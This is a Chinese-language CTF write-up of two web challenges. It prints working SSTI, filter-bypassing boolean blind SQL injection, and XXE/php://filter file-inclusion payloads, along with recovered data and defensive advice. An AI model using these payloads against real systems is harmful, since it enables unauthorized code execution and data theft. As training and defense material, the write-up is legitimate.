第三届古剑山web-wp
字数 1391 2025-12-04 12:35:15
第三届古剑山CTF Web题目解析与教学文档
题目一:baby_ssti(SSTI注入)
题目描述
无过滤的SSTI漏洞,flag在当前目录下的flag.txt文件中。
漏洞原理
SSTI(Server-Side Template Injection)服务器端模板注入,攻击者能够将恶意代码注入到模板中并在服务器端执行。
解题步骤
- 识别SSTI漏洞点
- 构造payload读取flag.txt文件
- 获取flag
利用Payload
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
Payload解析
config:Flask配置对象__class__:获取对象的类__init__:类的初始化方法__globals__:获取函数所在的全局命名空间['os']:访问os模块popen('cat flag.txt').read():执行系统命令并读取结果
防护措施
- 对用户输入进行严格过滤
- 使用安全的模板渲染方式
- 避免直接执行用户输入的代码
题目二:CMS(布尔盲注+XXE)
第一阶段:SQL布尔盲注
题目特征
- 登录界面存在SQL注入漏洞
- 成功登录无回显,失败返回"error..."
- 关键字符被过滤(or、select被替换为空)
绕过技巧:双写绕过
- 使用
oorr绕过or过滤 - 使用
selselectect绕过select过滤
爆库名Payload
admin' oorr (case when (substr(database(),1,1)='h') then 1 else (selselectect 1 union selselectect 2) end)#
结果:heavysql
爆表名Payload
username=admin' oorr (case when (mid((selselectect table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1),1,1)='u') then 1 else (selselectect 1 union selselectect 2) end)#&password=a
结果:users
爆列名Payload
username=admin' oorr (case when (mid((selselectect column_name from infoorrmation_schema.columns where table_name='users' limit 0,1),1,1)='i') then 1 else (selselectect 1 union selselectect 2) end)#&password=a
结果:id, username, password, user, current_connections
爆数据Payload
username=admin' oorr (case when (oorrd(mid((selselectect passwoorrd from users limit 0,1),1,1))=97) then 1 else (selselectect 1 union selselectect 2) end)#&password=a
结果:kingdom123ABC
注意事项
- 布尔盲注时数据库大小写不敏感,但登录时密码大小写敏感
- 建议使用ASCII码进行精确爆破
第二阶段:XXE漏洞利用
发现内网信息
通过/proc/net/arp发现内网存在其他主机:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3 in 77a9e1303e72
172.17.0.4 9f75e553656e
XXE读取index.php
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php">
]>
<ANY><name>&xxe;</name></ANY>
获取到的base64编码内容解码后:
<?php
error_reporting(0);
include "flag.php";
if(!$_GET['file'])
{
echo file_get_contents("./index.php");
}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))
{
echo "Oh no!";
exit();
}
include($file);
?>
文件包含绕过技巧
- 过滤了
../,tp,input,data - 使用
php://filter伪协议绕过
读取flag.php的Payload
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php">
]>
<ANY><name>&xxe;</name></ANY>
获取的base64内容:ClBEOXdhSEFnQ2k4dlpXTm9ieUFpWm14aFozczFNR1k0TkdSaFpqTmhObVJtWkRaaE9XWXlNR001WmpobFpqUXlPRGswTW4waU93by9QZ29L
经过两次base64解码获得flag。
综合防护建议
SQL注入防护
- 使用预编译语句(Prepared Statements)
- 对用户输入进行严格过滤和转义
- 实施最小权限原则
- 使用Web应用防火墙(WAF)
SSTI防护
- 使用沙盒环境执行模板
- 禁用危险的模板功能
- 对用户输入进行白名单验证
XXE防护
- 禁用外部实体解析
- 使用安全的XML解析器
- 实施输入验证和过滤
文件包含防护
- 避免动态包含用户可控的文件
- 使用白名单限制可包含的文件
- 设置open_basedir限制文件访问范围
总结
本CTF题目涵盖了Web安全的多个重要知识点,包括SSTI、SQL布尔盲注、XXE漏洞和文件包含漏洞。通过双写绕过、伪协议利用等技术手段,展示了实际渗透测试中的常见技巧。防护方面需要从代码层面和架构层面同时着手,建立纵深防御体系。